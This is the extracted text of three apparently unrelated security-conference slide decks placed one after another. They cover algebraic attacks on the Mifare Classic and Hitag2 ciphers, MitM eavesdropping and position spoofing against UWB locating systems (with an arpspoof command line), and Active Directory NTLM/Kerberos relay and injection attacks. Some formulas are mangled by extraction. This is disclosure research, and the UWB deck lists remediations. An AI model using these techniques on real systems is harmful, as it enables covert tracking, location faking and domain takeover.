值與表準差的公式如下: 33 平均值 標準差 純代數攻擊分析 - Mifare Classic protocol 34 My cnf 1 Crypto1 Hitag2 Solver time 2m48.226s NA Given ks2,ks3 64bits Hitag2:3萬7千多分鐘……unsat α32 state vs α33 state 35 純代數攻擊分析 - Mifare Classic protocol – Give α33 HELP bits α32 α33 純代數攻擊分析 - Mifare Classic protocol – Give α33 HELP bits 承上條件與實驗, 再給⼀些α33 的狀 態值當成 HELP bits, 看看是否有幫助或 可加速 for Hitag2 36 純代數攻擊分析 - Mifare Classic protocol – Give α33 HELP bits 37 轉化成圖表比較 純代數攻擊分析 - Mifare Classic protocol – Give α33 HELP bits 38 My cnf 2 Crypto1 Hitag2 Solver time 0m34.12s 10m46.935s 純代數攻擊分析 – 比較分析 39 Crypto1 Hitag2 Grain of salt 2m43.315s NA My cnf 1(30 traces) 2m48.226s NA My cnf 2(1 trace) Give α33 HELP bits 0m34.12s 10m46.935s 雖然Hitag2有比較好的防禦能力,但是也有機會在容許的時間範圍內被解出來 代數差分攻擊 for new YY card 1. 首先必須取得特殊的traces Nt are different, so does {Nr} 2. 定義差分方程式 3. 定義產生CNF的條件 40 代數差分攻擊 –取得特殊的trace 同⼀張卡uid固定,nT能夠與fed bit作用被放入state,因此nT可以直接 影響state的狀態,nR明文也有此功能,但是nR明文無法直接控制,因此 讓差分在nT的第⼀個bit就產生,當nT使用完時兩條trace差分為 0x000100000000,之後nR無法精準控制,而state保持fed bit持續為0, 因此必須從keystream來挑選,若ks = ks’ 則可認定state保持僅⼀個bit有 差分. 特殊nT差分值: 0x87441585 Crypto1 ; 0xe7002260 hitag2 41 代數差分攻擊 – 差分方程式 差分方程式的產生 為了保持state 僅1個bit有差分 42 Crypto1 代數差分攻擊 – 差分方程式 差分方程式的產生 為了保持state 僅1個bit有差分 43 Hitag2 input 輔助資訊 設ks差分為已知,可由nR差分求得{nR}差分 44 代數差分攻擊 – 差分方程式 dfc dx15 = dfc dfa dfa dx15 . fc( state ) = fc( state + differential ) fc( state ) - fc( state + differential ) = 0 Calculus : Chain rule Benefit: one variable is gone 代數差分攻擊 – 差分方程式 45 4 diff rules 8 diff rules 代數差分攻擊 –產生cnf的條件 CNF file rules : * Secret Key algebra = 1 ~ 48 1. LFSR 2. Filter Function 3. HELP bits : uid^nt 4. HELP bits:{nR} 5. 差分方程式 : crypto1*4條、Hitag2*8條 46 代數差分攻擊 – 實驗結果分析 使用不同traces數量做比較分析 約25~35traces左右表現最佳 47 代數差分攻擊 – 實驗結果分析 48 差距最大拿掉 My cnf 2 Crypto1 Hitag2 Solver time < 10 min > 300 min 代數差分攻擊 – HELP α33 bits 承上條件下,同樣的再給α33的HELP bits,看看結 果如何 經多次實驗觀察20與30trace於crypto1和Hitag2會比較有效, 因此本實驗使用了20traces和30traces的兩種case 將給予的α33 HELP bit 逐漸減少(from 48 to 1) 49 代數差分攻擊 – HELP α33 bits 50 單位 : 秒 My cnf 2 Crypto1 Hitag2 Solver time 大約 < 220 sec ≒ 3.6min 大約 > 1000 sec≒16.6min 代數差分攻擊 – HELP α33 bits 51 單位 : 秒 My cnf 2 Crypto1 Hitag2 Solver time 大約 < 200 sec ≒ 3.3min 大約 > 1000 sec≒16.6min 代數差分攻擊– 比較分析 52 Crypto1 Hitag2 no α33 HELP _ 30trace < 10 min > 300 min HELP α33 _ 20trace 大約 < 220 sec ≒ 3.6min 大約 > 1000 sec≒16.6min HELP α33 _ 30trace 大約 < 200 sec ≒ 3.3min 大約 > 1000 sec≒16.6min 雖然Hitag2有比較好的防禦能力,但是也有機會在容許的時間範圍內被解出來 結論 1. 代數差分攻擊抵抗能力: Hitag2 >> Crypto1 2. 兩者間 Filter Function input的Hamming distance為13,但實驗解的速度並沒有增加2 3. 代數差分攻擊的確會對Stream Cipher與Mifare Classic protocol造成影響 4. 建議停止使用Mifare Classic,並改用其他架構設 計,以免造成更大資的安損失。 53 結論 Hitag2是⼀個比Crypto1強的cipher,套用上了 Mifare classic protocol,以我們實驗結果其安全性 並不很高 以代數差分攻擊⾓度來看,對於兩種不⼀樣的 stream cipher 都可造成有效的攻擊,本攻擊證明對 於protocol方面也是有影響的效力 在未來的研究可以繼續討論是否代數差分攻擊可以 針對於所有stream cipher加上任何的protocol有顯 著的效果 54 Extra: Non-NIST Ciphers Lavabit, TrueCrypt, SilentMail etc Close any good (tough) services or companies as you can ? The link between NIST and NSA ? RSA and NSA ? ECC ? AES ? SHA-1 ? OpenSSL Heartbleed ? 55 Extra: Toward a New Good/Bad World !? Prepare for the Good New World ? Government cannot censor anymore ? Prepare for the Cryptopocalypse ? Discrete Logarithm Problem(DLP) is easier than we thought before ? Eurocrypt2014 A Heuristic Quasi-Polynomial Algorithm for Discrete Logarithm in Finite Fields of Small Characteristic ECC is ok ? 56 第57頁 We must know We will know David Hilbert 謝謝聆聽 Q and A
pdf
#BHUSA @BlackHatEvents UWB Real Time Locating Systems Andrea Palanca Luca Cremona Roya Gordon labs@nozominetworks.com How Secure Radio Communications May Fail in Practice © 2022 Nozomi Networks Inc. 2 Overview 01 02 03 04 Methodology of Research Attack Demos Remediations 05 Summary & Key Takeaways Introduction Introduction 4 Wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations Introduction • Ideal for short-range devices • Can transmit information quickly over short distances • Ability to send data through solid objects like walls and other barriers • UWB is the preferred communication protocol for RTLS Spectral density for UWB and narrowband - Source: FiRa Consortium UWB © 2022 Nozomi Networks Inc. 5 Wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations Introduction – Cont’d • Uses UWB signals to locate stationary/mobile objects • 3 components: § Tags § Anchors § Server that computes, shows and stores tag positions • The time of arrival is analyzed to determine the position of a tag RTLS Anchors RTLS Server Tag Ts_1 Ts_2 Ts_3 Ts_4 UWB Ethernet, or Wi-Fi, or other media Operation of an UWB TDoA RTLS © 2022 Nozomi Networks Inc. 6 Wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations Introduction – Cont’d Networks will be vulnerable to attacks by cyber criminals who are seeking to exploit vulnerabilities in order to gain access to sensitive data or disrupt operations. Cyber Threats Source: FiRa Consortium © 2022 Nozomi Networks Inc. Motivation According to the FiRa consortium, in 2018 there was an increased demand for “improvements to existing modulations to increase the integrity and accuracy of ranging measurements” Motivation This is what motivated us to take a deeper look into how threat actors can exploit this vulnerability and disrupt environments utilizing UWB RTLS. • In 2020, the Institute of Electrical and Electronic Engineers (IEEE) released standard 802.15.4 • IEEE quickly followed up with the 802.15.4z amendment, also released in 2020 • Synchronization and exchange of location data are considered “out-of-scope” by the standard • These communications, whose design is left entirely to vendors, are critical aspects for the overall posture of TDoA RTLS • Additionally, there has not been any research on UWB focusing on this specific problem 8 © 2022 Nozomi Networks Inc. Scope Industry Scope Examples of UWB RTLS use cases advertised by vendors Focus: industrial and healthcare sectors • Highly targeted • UWB RTLS widely used in critical applications Examples: use cases where UWB is protecting people’s lives • Employee and patient tracking • Geofencing • Contact tracing 10 © 2022 Nozomi Networks Inc. Analyzed Solutions Sewio Indoor Tracking RTLS UWB Wi-Fi Kit Avalue Renity Artemis Enterprise Kit • Both these UWB RTLS kits come equipped with a set of tags, anchors, and a server software that provides the aforementioned safety features • Our research was performed on the following solutions, which target the industrial and healthcare sectors: 11 © 2022 Nozomi Networks Inc. Technical Scope • Network communications occurring in a normal RTLS infrastructure: o UWB § Tags to anchors § Anchors to anchors o Ethernet/Wi-Fi/other § Anchors to RTLS server As in a chain, a flaw in any of these communications may lead to a compromise of the entire infrastructure • Up to now, security research has exclusively focused on the analysis of UWB signals. This is the first research analyzing the communications on Ethernet/Wi-Fi/etc. Ethernet, or Wi-Fi, or other media, focus of this research Ultra-wideband Anchors RTLS Server Tag Architecture of an UWB TDoA RTLS 12 © 2022 Nozomi Networks Inc. TDoA Background and Theory In a TDoA RTLS there are normally two kinds of packets exchanged among anchors and server Packet Taxonomy Synchronization packets • Anchors’ clocks are usually not in-sync, (different boot times, clock drifts, etc.) • A reference anchor continuously sends an UWB signal that is received by all non- reference anchors • The reference anchor sends a synchronization packet containing the transmission timestamp, the non-reference anchors a synchronization packet containing the receiving timestamp • The server uses this information to build a common notion of time Positioning packets • A tag emits an UWB signal that is received by all anchors • All anchors send the timestamps at which they received the UWB signal from the tag to the central positioning server, inside positioning packets 14 © 2022 Nozomi Networks Inc. 𝐷𝑒𝑙𝑡𝑎 𝑖, 𝑗, 𝑡 = 𝐺𝑇 𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗, 𝑡 − 𝐺𝑇 𝑖, 𝑗, 𝑡 ∗ 𝑐 = 𝐺𝑇 𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗, 𝑡 ∗ 𝑐 − 𝐺𝑇 𝑖, 𝑗, 𝑡 ∗ 𝑐 = 𝑑 𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗, 𝑡 − 𝑑 𝑖, 𝑗, 𝑡 The routine implemented in TDoA RTLS can usually be divided in two major phases Algorithm Details Clock Synchronization • There are many synchronization algorithms in literature. This work used the Linear Interpolation algorithm • The basic idea is to convert all anchors’ timestamps to a common clock domain, so that they can be compared. These converted timestamps are called Global Times (GT) Position Estimation • We cannot immediately derive the distances from the GTs as we are missing the transmission instants • We can, however, correlate the difference of GTs to the difference of distances. This is why the algorithm is called Time Difference of Arrival All details in our whitepaper! Download it from the briefing page, or from the nozominetworks.com website 15 © 2022 Nozomi Networks Inc. The routine implemented in TDoA RTLS can usually be divided in two major phases Algorithm Details – Cont’d 𝑝𝑇𝑠(𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗, 𝑡) − 𝑠𝑇𝑆(𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑡) − (𝐶𝑆 1, 𝑡 ∗ 𝑝𝑇𝑠 1, 𝑗, 𝑡 − 𝑠𝑇𝑆 1, 𝑡 + 𝑇𝑜𝐹(1)) ∗ 𝑐 = 𝑋𝑗, 𝑡 – 𝑋𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑌𝑗, 𝑡 – 𝑌𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑍𝑗, 𝑡 – 𝑍𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! − 𝑋𝑗, 𝑡 – 𝑋1 ! + 𝑌𝑗, 𝑡 – 𝑌1 ! + 𝑍𝑗, 𝑡 – 𝑍1 ! … 𝑝𝑇𝑠(𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗, 𝑡) − 𝑠𝑇𝑆(𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑡) − (𝐶𝑆 𝑁, 𝑡 ∗ 𝑝𝑇𝑠 𝑁, 𝑗, 𝑡 − 𝑠𝑇𝑆 𝑁, 𝑡 + 𝑇𝑜𝐹(𝑁)) ∗ 𝑐 = 𝑋𝑗, 𝑡 – 𝑋𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑌𝑗, 𝑡 – 𝑌𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑍𝑗, 𝑡 – 𝑍𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! − 𝑋𝑗, 𝑡 – 𝑋𝑁 ! + 𝑌𝑗, 𝑡 – 𝑌𝑁 ! + 𝑍𝑗, 𝑡 – 𝑍𝑁 ! • All coordinates of the anchors involved • Synchronization timestamps • Positioning timestamps Summary To obtain the position of a tag, the following data need to be known: 16 © 2022 Nozomi Networks Inc. Position Estimation – Cont’d • Eventually, a non-linear system of equations can be set up to solve for Xj,t, Yj,t, and Zj,t, i.e., the position of tag j at the instant t: Reverse Engineering of Devices Network Traffic Network Traffic • Both solutions use custom, unknown binary network protocols for the communications among anchors and server. No standard data structures are immediately recognizable Example of Ethernet network packet in Sewio RTLS 18 © 2022 Nozomi Networks Inc. Packet Dissection • By reverse engineering the server software, full packet structure was reconstructed Sewio and Avalue RTLS dissectors Example of code snippets from Sewio and Avalue RTLS servers 19 © 2022 Nozomi Networks Inc. We are freely releasing PCAPs and dissectors for both Sewio and Avalue RTLS! Download them from the briefing page, or from github.com/NozomiNetworks Security Considerations Confidentiality • No confidentiality in the anchors-server communications o The synchronization and positioning timestamps are sent in cleartext Integrity • No secure integrity mechanisms either o Sewio RTLS uses CRC-16 o Avalue RTLS performs a byte per byte sum of all packets Sewio RTLS – Extraction of timestamps directly from the network traffic Avalue RTLS – Checksum computation 20 © 2022 Nozomi Networks Inc. Anchors Coordinates Prerequisite Obtaining the anchor coordinates is the most challenging requirement. They are manually input at the first installation and never transmitted through the network Anchor Coordinates Prerequisite Attacker with Physical Access • If the anchors are visible, obtaining their coordinates is simple • If not, an attacker can still produce an estimation by measuring the power levels of the anchors’ wireless signals (UWB, Wi-Fi, etc.) • In fact, tag coordinates can be estimated even with imperfect anchor coordinates If anchor coordinates are estimated with a <10% error, the tag coordinates are computed with an average error of <20%, i.e., ~50 cm in a 6m x 5m room Tag Coordinates Average Error with respect to Anchor Coordinates Error 22 © 2022 Nozomi Networks Inc. Anchor Coordinates Prerequisite – Cont’d Power level information in Avalue RTLS packets Attacker with Remote Access • Besides timestamps, anchors transmit on the wire the power level information of the received UWB signal. We can compute two different metrics: o First Path Power Level (FPPL) 𝐹𝑃𝑃𝐿 = 10 ∗ log!" #$!!%#$&!%#$'^& $)*! − 𝐴 𝑑𝐵𝑚 o Receive Power Level (RPL) 𝑅𝑃𝐿 = 10 ∗ log"# $%& ∗(!" )*&# − 𝐴 𝑑𝐵𝑚 We devised and present a technique that remote attackers can apply to circumvent this obstacle 23 © 2022 Nozomi Networks Inc. Obtaining the anchor coordinates is the most challenging requirement. They are manually input at the first installation and never transmitted through the network • It is not possible to directly estimate the absolute distance, due to evolving temporary conditions • However, if in a given moment t0 the power level information is identical, the tag j0 that triggered those packets must be positioned about exactly at the same distance from all anchors 𝐷𝑒𝑙𝑡𝑎 𝑖0, 𝑗0, 𝑡0 = 𝐺𝑇 𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗0, 𝑡0 − 𝐺𝑇 𝑖0, 𝑗0, 𝑡0 ∗ 𝑐 = 0 • Considering that CS(reference, t0) = 1 and ToF(reference) = 0, we can exploit this information and estimate the time of flights, thus the distances of the other anchors from the reference 𝑇𝑜𝐹(𝑖0) = 𝐶𝑆(𝑖0, 𝑡0) ∗ (𝑝𝑇𝑠(𝑖0, 𝑗0, 𝑡0) − 𝑠𝑇𝑆(𝑖0, 𝑡0)) − 𝑝𝑇𝑠(𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑗0, 𝑡0) + 𝑠𝑇𝑆(𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒, 𝑡0) Anchor Coordinates Prerequisite – Cont’d Attacker with Remote Access – Cont’d 24 © 2022 Nozomi Networks Inc. Obtaining the anchor coordinates is the most challenging requirement. They are manually input at the first installation and never transmitted through the network • Finally, to obtain the coordinates, we can leverage the following installation constraint: Anchor Coordinates Prerequisite – Cont’d Attacker with Remote Access – Cont’d • Given that the anchor map is most times a rectangle, by arbitrarily setting the reference anchor in position (0;0), the coordinates of all other anchors can be easily estimated (they are given by the two shortest distances) • An attacker can adapt the expected shape on the basis of the number of anchors detected in the communications 25 © 2022 Nozomi Networks Inc. Obtaining the anchor coordinates is the most challenging requirement. They are manually input at the first installation and never transmitted through the network Anchor Coordinates Prerequisite – Cont’d Attacker with Remote Access – Cont’d • This was actually tested in the Avalue RTLS, using both the First Path Power Level (FPPL) as well as the Receive Power Level (RPL) • The best results are obtained using FPPL with a threshold of ~1% between the lowest power level and the highest It was possible to estimate the anchors coordinates with an error of less than 10% with respect to the real values • This can be accurate enough for attack scenarios where cm-level precision is not required Anchors Coordinates Average Error wrt First Path Power Level (FPPL) Acceptance Threshold 26 © 2022 Nozomi Networks Inc. Obtaining the anchor coordinates is the most challenging requirement. They are manually input at the first installation and never transmitted through the network Adversary Tactics, Techniques, and Procedures (TTPs) Traffic Interception Intercepting traffic requires two steps: 1. gaining a foothold inside the anchors-server backhaul network 2. executing a Man in the Middle (MitM) attack Network Access • Both Sewio and Avalue RTLS allow either Ethernet or Wi-Fi to be used for the network backhaul • Gaining access to an Ethernet network requires that an attacker: o either compromises a computer in that network o or surreptitiously adds a rogue device • The complexity of these attacks varies on the basis of the RTLS deployment configuration Deployment configurations available on Sewio RTLS To perform any meaningful attacks against RTLSs, an attacker first needs to intercept all network packets 28 © 2022 Nozomi Networks Inc. Network Access – Cont’d • As for Wi-Fi, both solutions support WPA2-PSK • Gaining access to a Wi-Fi network requires: o either the knowledge of the WPA2 password o or the exploitation (if any) of vulnerabilities in the wireless appliances • As for the first point, out of the box, both solutions use a static password that can be found in the public documentation • In case an asset owner does not change it, obtaining access to the backhaul network is simple To perform any meaningful attacks against RTLSs, an attacker first needs to intercept all network packets Traffic Interception – Cont’d Default WPA2-PSK password on Avalue RTLS 29 © 2022 Nozomi Networks Inc. To perform any meaningful attacks against RTLSs, an attacker first needs to intercept all network packets Traffic Interception – Cont’d Man in the Middle • In the tests executed, it was possible to MitM both solutions via standard ARP spoofing attacks The attacks were completely undetected by the RTLS. No warnings or abnormal behavior that may alert an operator were shown. MitM attack against Sewio RTLS 𝑎𝑟𝑝𝑠𝑝𝑜𝑜𝑓 − 𝑖 𝑎𝑡𝑡𝑎𝑐𝑘𝑒𝑟_𝑒𝑡ℎ − 𝑡 𝑠𝑒𝑟𝑣𝑒𝑟_𝑖𝑝 𝑎𝑛𝑐ℎ𝑜𝑟1_𝑖𝑝 & 𝑎𝑟𝑝𝑠𝑝𝑜𝑜𝑓 − 𝑖 𝑎𝑡𝑡𝑎𝑐𝑘𝑒𝑟_𝑒𝑡ℎ − 𝑡 𝑎𝑛𝑐ℎ𝑜𝑟1_𝑖𝑝 𝑠𝑒𝑟𝑣𝑒𝑟_𝑖𝑝 30 © 2022 Nozomi Networks Inc. After obtaining access to an RTLS network and launching the MitM attack, an attacker can reconstruct the position of tags by executing one of the TDoA algorithms known in literature Passive Eavesdropping Attacks 01 Position of target shown in RTLS 02 Traffic is intercepted, anchor coordinates are estimated, timestamps are extracted 03 A TDoA algorithm is applied 04 Attacker obtains the position of target 31 © 2022 Nozomi Networks Inc. To accomplish an active attack, an attacker first needs to do a target reconnaissance and add traffic filtering routines to the attack algorithm Active Traffic Manipulation Attacks Target Reconnaissance • To successfully deceive an operator, it is important that the tag movements appear natural • This phase can be accomplished by simply performing a passive eavesdropping attack against the target If the target is a human being, faking its position with harsh, sudden movements would warn an operator and make them think that, at the very least, a malfunctioning is occurring Active Traffic Filtering • If the packet is a synchronization packet, it must be automatically forwarded to the destination • If the packet is a positioning packet of a target, its timestamp must be modified (and the checksum updated). If not a target one, it must be forwarded unaltered • Many techniques are available. Notably, we leveraged iptables NFQUEUE, a flexible userspace packet handler 32 © 2022 Nozomi Networks Inc. Finally, an attacker can alter the timestamps by simply inverting all the equations previously described Active Traffic Manipulation Attacks – Cont’d Packet Information Manipulation • In a manipulation attack, the tag coordinates are known (they are the target coordinates that an attacker wants to fake for a given tag) and the positioning timestamps are unknown • First, the attacker derives the modified positioning timestamps according to the target coordinates • Finally, the attacker re-computes the packet checksums and then sends the modified packets 04 Position of target is altered in RTLS 03 Packet is updated 01 The attacker defines a target coordinate for a given tag 𝑋𝑗0, 𝑡0 – 𝑋𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑌𝑗0, 𝑡0 – 𝑌𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑍𝑗0, 𝑡0 – 𝑍𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! − 𝑋𝑗0, 𝑡0 – 𝑋1 ! + 𝑌𝑗0, 𝑡0 – 𝑌1 ! + 𝑍𝑗0, 𝑡0 – 𝑍1 ! = 𝐷𝑒𝑙𝑡𝑎(1, 𝑗0, 𝑡0) … 𝑋𝑗0, 𝑡0 – 𝑋𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑌𝑗0, 𝑡0 – 𝑌𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! + 𝑍𝑗0, 𝑡0 – 𝑍𝑟𝑒𝑓𝑒𝑟𝑒𝑛𝑐𝑒 ! − 𝑋𝑗0, 𝑡0 – 𝑋𝑁 ! + 𝑌𝑗0, 𝑡0 – 𝑌𝑁 ! + 𝑍𝑗0, 𝑡0 – 𝑍𝑁 ! = 𝐷𝑒𝑙𝑡𝑎(𝑁, 𝑗0, 𝑡0) 02 The TDoA algorithm is applied backwards 33 © 2022 Nozomi Networks Inc. Attack Demos Locating and Targeting People/Assets 35 © 2022 Nozomi Networks Inc. Geofencing 36 © 2022 Nozomi Networks Inc. Contact Tracing 37 © 2022 Nozomi Networks Inc. Remediations Segregation and Firewall Rules Advantages • Allows the problem to be mitigated relatively quickly • Can be enacted by deploying traditional solutions such as VLANs, IEEE 802.1X, firewall rules Challenges • Some RTLS servers expose core network services on all interfaces. Firewall rules must be set to allow as few services as possible on the management interface • Does not protect from a physical MitM (either via wire tap, or wireless sniffer if wireless password is compromised) Siemens RTLS4030G operating instructions Goal • Move the entire UWB RTLS backhaul network to a segregated network, and secure the access to the network both physically and logically This is now mandated by some RTLS vendors 39 © 2022 Nozomi Networks Inc. Intrusion Detection Systems Detection of a MitM attack by an IDS Goal • Detect signs of MitM attacks. Leverages the fact that MitM attacks are unavoidable to obtain the timestamps This option was successfully tested on both Sewio and Avalue RTLS Challenges • Does not protect from a physical MitM (either via wire tap, or wireless sniffer if wireless password is compromised) 40 © 2022 Nozomi Networks Inc. Advantages • Plug-and-play solution • Allows the problem to be mitigated very quickly Traffic Encryption Advantages • The closest mitigation to completely solving the problem • Allows basic RTLS functionalities to remain unaltered SSH tunnel PoC on Avalue RTLS Goal • Add a traffic encryption layer on top of the existing communications, to protect even against a physical MitM This option was successfully tested on the Avalue RTLS for a PoC using standard tools (SSH tunnel and Socat) Challenges • In Avalue RTLS, it was necessary to reduce the number of syncs per second to counteract the higher load, at the expense of a reduced accuracy • Entirely depends on the accessibility of the RTLS server and anchors from the vendor 41 © 2022 Nozomi Networks Inc. Summary & Key Takeaways Wireless technology increases efficiency + productivity while reducing unnecessary cabling infrastructure costs Summary • IEEE 802.15.4z has out of scope areas, creating security loopholes • Nozomi Networks Labs discovered zero-days in two popular UWB RTLS • UWB RTLS is used for personnel tracking, geofencing, and contact tracing • Threat actor TTPs are MitM and eavesdropping or manipulation tactics • Mitigations include segregation and firewall rules, IDS, and traffic encryption 43 © 2022 Nozomi Networks Inc. Black Hat Sound Bytes Weak security requirements in critical software can lead to safety issues that cannot be ignored There are attack surfaces out there that no one is looking at, but they have significant consequences if compromised Exploiting secondary communications in UWB RTLS can be challenging, but it is doable Key Takeaways 44 © 2022 Nozomi Networks Inc. Thank You! Questions? labs@nozominetworks.com
pdf
Adventures in MitM-land Using MITM to Attack Active Directory Authentication Schemes About Us • Senior Engineer @CrowdStrike (Former @Preempt) • Extensive background as a security researcher Sagi Sheinfeld (@sagish1233) • Senior Engineer @CrowdStrike (Former @Preempt) • Previously presented on Black Hat Eyal Karni (@eyal_karni) • Senior Manager, Engineering @CrowdStrike • 2xBlack Hat, 1xDEFCON Yaron Zinar (@YaronZi) Is MITM an Important Technique? • Sometimes… • Works when other techniques fail • Often overlooked… • Active Directory • Relatively old protocols • Usually don’t use TLS NTLM Basics Authentication is not bound to the target server! (1) NTLM Negotiate (3) NTLM Authenticate (2) NTLM Challenge (4) NETLOGON (5) Approve/Reject Client Machine Server DC Kerberos Basics (5) AP-Req Client Machine Server DC (1) AS-Req (2) AS-Rep (3) TGS-Req (4) TGS-Rep Signed with server’s secret Kerberos vs. NTLM NTLM Kerberos Proteted from Offline Cracking ✗ ✓ (except X-roasting) Can Work w/o Storing Hash in RAM ✗ ✓ Supports Mutual Authentication ✗ ✓ Smart Card Support ✗ ✓ Hashes Contain Salt ✗ ✓ (except RC4) NTLM Relay 101 (1) NTLM Negotiate (5) NTLM Authenticate (4) NTLM Challenge (7) NETLOGON (8) Approve Client Machine Server (2) NTLM Negotiate (6) NTLM Authenticate (3) NTLM Challenge Attacked Target DC NTLM Relay over DCE/RPC • First suggested by Sylvain Heiniger (@sploutchy) • Found (at least) one interface (TSCH) with no server signing • Used NTLM Relay to create a new scheduled task DCE/RPC Relay Mitigation is Broken https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a-4868-8e5b-2a850d40dc73 Printer Spooler LPE (CVE-2020-1048) • Discovered by Peleg Hadar (@peleghd) and Tomer Bar • For printing, you need a driver, and a port • Any user can install a printer driver (from a pre-existing list) • “Generic/ Text” can write anything... • The port can be a file instead ⇒ We can write arbitrary files • It is a privileged process, and the access checks are done on the client side ⇒ We have an LPE CVE-2021-1678 • Was found using our RPC scanning tool • Targeting MS-PAR (IRemoteWinSpool) Interface • Interface has only required RPC_C_AUTHN_LEVEL_CONNECT • Support remote printer operations • Works the same as CVE-2020-1048 (just remotely) • RpcAsyncInstallPrinterDriverFromPackage (Opnum 62) — Installing “Generic/Text” printer driver • RpcAsyncOpenPrinter (Opnum 0) • RpcAsyncXcvData (Opnum 33) — Add port • RpcAsyncAddPrinter (Opnum 1) — Add a printer with the mentioned driver • RpcAsyncStartDocPrinter(Opnum 10) — Start a new document • RpcAsyncWritePrinter (Opnum 12) — Write to new document CVE-2021-1678 Client Machine Rogue Server DC (8) RpcAsyncInstallPrinterDriverFromPackage (9) Several Printer RPC Commands (10) RpcWritePrinter (Writing a file remotely) (7) NTLMSSP_AUTHENTICATE (Relayed) (6) NTLMSSP_AUTHENTICATE (5) NTLMSSP_CHALLENGE (Relayed) (4) NTLMSSP_CHALLENGE (3) NTLMSSP_NEGOTIATE (Relayed) (1) NTLMSSP_ NEGOTIATE (2) RPC Bind (IRemoteWinSpool) DEMO MS15-011 • Initially discovered by Luke Jennings (@jukelennings) • Attacking GPO retrieval using MITM • Many attack scenarios • Both RCE and privilege escalation • Some scenarios are still exploitable MS15-011 Explained (2) NTLM Negotiate (4) NTLM Authenticate (3) NTLM Challenge Target name: Rogue Server Client Machine Rogue Server DC (5) NetLogonSamLogon Request (6) NetLogonSamLogon Response Contains: session key (1) LDAP Bind (7) accept-complete (8) LDAP Search (GPO search) (9) LDAP Search Response Redirects GPO to malicious UNC path DC accepts request since Target is Rogue Server MS Fixes for MS15-011 • GPO retreival can no longer operate with NTLM • Registry Key • Hardened UNC Paths • Configuration to block NTLM usage in SMB • Defaults • \\*\SYSVOL • \\*\NETLOGON Azure AD Connect https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization Azure AD Connect MITM Attack • MITM Between Azure AD Connect and DC • Attack Steps: • Establish a full MITM , make Kerberos fail while allowing LDAP to pass to the DC • Wait for domain replication in NTLM • Inject new change MD4 password for an account of your choice • Log in to Azure AD with injected password DEMO Kerberos Relay • Same as NTLM Relay (actually much easier) • Just to the original target server (1) Kerberos AP-Req Client Machine Attacked Target (2) Kerberos AP-Req Kerberos Relay – Cont. • SMB Relay • Works the same as with NTLM • Attacker can negotiate no signing if server signing is not required (default) (1) Kerberos AP-Req Client Machine Attacked Target (2) SMB Bind (Signing Negotiate) (3) Kerberos AP-Req Kerberos Relay over TLS • Relay protection in TLS channels • Extended Protection for Authentication • Important examples of such protection • LDAPS (called Channel Bindings) • AD FS • IIS • Can this be bypassed? • NTLM (check out our DEFCON 2019 talk J) • Kerberos • AP-Req contained signed certificate thumbprint inside checksum field • What happens when Kerberos client has no checksum field? KDC Spoofing • KDC Spoofing • Old Technique • Using MITM for authentication bypass • Typically exists in VPNs, FWs (1) Plaintext Credentials (over HTTPS, TLS, etc.) Client Machine DC (2) Kerberos AS-Req Authentication Server (VPN, FW) MITM (2) Kerberos AS-Req (3) Kerberos AS-Rep Using: Fake Password KDC Spoofing Protection • Very old technique • Protection • Create a computer account for authentication server • Create a TGS ticket to self using TGT (1) Plaintext Credentials (over HTTPS, TLS, etc.) Client Machine DC (2) Kerberos AS-Req Authentication Server (VPN, FW) (4) Kerberos TGS-Req (3) Kerberos AS-Rep (5) Kerberos TGS-Rep DC Proves identity by signing with server’s secret Kerberos Injection Kerberos Injection • So, we cannot manipulate TGT and TGS, what now? DC Selection Process (1) Lookup DCs in domain.com Client Machine (4) Unauthenticated LDAP “Host Ping” (Get AD site) (5) LDAP – Get domain capabilities (6) Get DCs in current site (7) Establish NETLOGON Session Possibly Selecting another DC (8) Get Domain Info DNS DC DC (3) Resolve dc1.domain.com (2) List of DC FQDNs Picks a DC Kerberos Injection • We can intervene in the DC selection process: • Client choose a DC using combination of DNS and LDAP queries • Our MITM relays AS-REQ and TGS-REQ (to self) to a real DC • MITM is able to serve subsequent DCE/RPC and LDAP requests • (As long as NETLOGON secure channel is not required) Kerberos Injection (1) DC Selection Process (2) Injected DC Using: Rogue Server (3) Kerberos AS-Req (7) Kerberos TGS-Req (6) Kerberos AS-Rep (10) Kerberos TGS-Rep Signing with client secret Client Machine Rogue Server DC (15) LDAP Search (16) LDAP Search Response Malicious injected data (4) Kerberos AS-Req (8) Kerberos TGS-Req (5) Kerberos AS-Rep (9) Kerberos TGS-Rep Signing with client secret (11) Kerberos TGS-Req (LDAP) (14) Kerberos TGS-Rep Signing with Rogue server’s secret (12) Kerberos TGS-Req (13) Kerberos TGS-Rep Signing with Rogue server’s secret Kerberos Injection – 